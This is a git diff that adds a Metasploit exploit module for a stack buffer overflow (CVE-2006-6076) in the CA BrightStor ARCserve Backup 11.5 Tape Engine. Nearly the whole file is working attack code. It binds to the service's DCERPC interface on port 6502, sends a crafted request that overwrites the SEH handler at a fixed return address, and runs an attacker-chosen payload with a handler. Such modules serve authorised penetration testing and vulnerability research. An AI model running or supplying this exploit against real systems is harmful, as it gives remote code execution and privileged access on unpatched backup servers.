diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb new file mode 100644 index 0000000000..93ae65b465 --- /dev/null +++ b/modules/exploits/windows/brightstor/tape_engine.rb @@ -0,0 +1,74 @@ +require 'msf/core' + +module Msf + +class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote + + include Exploit::Remote::DCERPC + include Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow', + 'Description' => %q{ + This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup + 11.5. By sending a specially crafted DCERPC request, an attacker could overflow the + buffer and execute arbitrary code. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 3906 $', + 'References' => + [ + [ 'CVE', '2006-6076' ], + [ 'BID', '21221' ], + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 500, + 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ], + ], + 'DisclosureDate' => 'Nov 21 2006', + 'DefaultTarget' => 0)) + + register_options([ Opt::RPORT(6502) ], self.class) + end + + def exploit + connect + + handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) + print_status("Binding to #{handle} ...") + + dcerpc_bind(handle) + print_status("Bound to #{handle} ...") + + request = "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00" + request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + dcerpc.call(43, request) + + filler = "\x10\x09\xf9\x77" + rand_text_english(1132) + seh = generate_seh_payload(target.ret) + sploit = filler + seh + + print_status("Trying target #{target.name}...") + + begin + dcerpc_call(38, sploit) + rescue Rex::Proto::DCERPC::Exceptions::NoResponse + end + + handler + disconnect + end + +end +end